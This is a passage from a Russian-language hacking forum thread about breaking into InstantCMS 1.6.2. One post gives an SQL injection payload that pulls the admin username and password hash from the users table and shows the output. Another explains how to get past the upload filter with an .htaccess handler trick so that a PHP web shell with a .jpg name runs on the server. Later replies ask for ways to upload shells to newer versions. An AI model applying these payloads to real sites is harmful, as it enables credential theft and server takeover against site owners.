    								VALUES ('$id', '".$inUser->id."', '[COLOR=Red]matr1x\', [/COLOR]', (select concat(login,0x3a,password) from cms_users where id=1),1,1,1)#[COLOR=White]', '', NOW(), 0)[/COLOR]";
    закрыли title кавычкой от description и вышли в запрос после чего проинжектировали -)
    Теперь идем в список топиков и наблюдаем свой топик в описании которого что-то на подобии
    Code:
    admin:5f4dcc3b5aa765d61d8327deb882cf99
    -----------
    сообщение для разработчика: r2, привет =)))
     
    5 people like this.
  18. The matrix

    The matrix Elder - Старейшина

    Joined:
    9 Jul 2008
    Messages:
    93
    Likes Received:
    186
    Reputations:
    138
    InstantCMS 1.6.2

    File upload
    Тащим свой зад на форму аплоада файлов
    Code:
    http://localhost/users/ваш id/addfile.html
    componennts/users/frontend.php
    PHP:
    foreach ($_FILES as $key => $data_array) {
                        
    $error $data_array['error'];
                        if (
    $error == UPLOAD_ERR_OK) {
                            @
    mkdir(PATH.'/upload/userfiles/'.$id);
                        
                            
    $tmp_name   $data_array["tmp_name"];
                            
    $name       $data_array["name"];
                            
    $size       $data_array["size"];
                            
    $size_mb    += round(($size/1024)/10242);
                            
                            if (
    $size_mb <= $free_mb){
                                if(!
    strstr($name'.php') && !strstr($name'.asp') && !strstr($name'.aspx') && !strstr($name'.js') && !strstr($name'.html') && !strstr($name'.phtml')){
                                    if (
    move_uploaded_file($tmp_namePATH."/upload/userfiles/$id/$name")){
    Заливаем сначала файл .htaccess содержимым
    Code:
    addhandler application/x-httpd-php jpg
    затем shell с расширением jpg
    Шелленг загрузится в
    http://localhost/upload/userfiles/[ваш ид]/[имя шелла].jpg
    и будет выполняться.
     
    #38 The matrix, 5 Jun 2010
    Last edited: 5 Jun 2010
  19. LordNikon

    LordNikon New Member

    Joined:
    2 Apr 2007
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    У меня видать пропатченная версия 1.6.2, есть еще способы залить шелл в InstantCMS 1.6.2
     
  20. Spunoff

    Spunoff New Member

    Joined:
    16 Jan 2012
    Messages:
    40
    Likes Received:
    1
    Reputations:
    0
    Кто знает способы залить шелл в последней версии?
    Через банеры не грузится